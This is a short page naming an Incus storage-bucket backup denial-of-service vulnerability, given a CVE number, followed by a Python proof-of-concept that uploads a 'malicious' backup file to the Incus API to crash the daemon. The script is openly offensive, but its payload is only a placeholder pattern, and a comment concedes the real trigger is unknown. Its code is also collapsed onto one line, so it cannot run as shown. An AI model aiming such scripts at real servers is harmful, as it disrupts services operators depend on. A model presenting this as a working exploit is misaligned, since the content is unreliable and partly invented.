CVE-2026-33743 Incus存储桶备份拒绝服务漏洞

import requests # Target Incus server API endpoint for storage bucket backups target_url = "https://<incus-host>:8443/1.0/storage-buckets/<bucket-id>/backups" # Headers (Authentication required) headers = { "Authorization": "Bearer <your-api-token>" } # Simulating a malicious backup file that triggers the parsing crash # Specific payload structure depends on the vulnerability root cause malicious_backup_data = b"\x00\x01\x02\x03...Malicious_Pattern..." files = { 'file': ('malicious_backup.tar.gz', malicious_backup_data, 'application/gzip') } try: # Send the malicious backup to the server response = requests.post(target_url, headers=headers, files=files, verify=False) if response.status_code == 200 or response.status_code == 202: print("PoC uploaded successfully. Daemon might crash shortly.") else: print(f"Upload failed with status: {response.status_code}") except requests.exceptions.ConnectionError: print("Connection dropped abruptly. The Incus daemon likely crashed (DoS successful).") except Exception as e: print(f"An error occurred: {e}")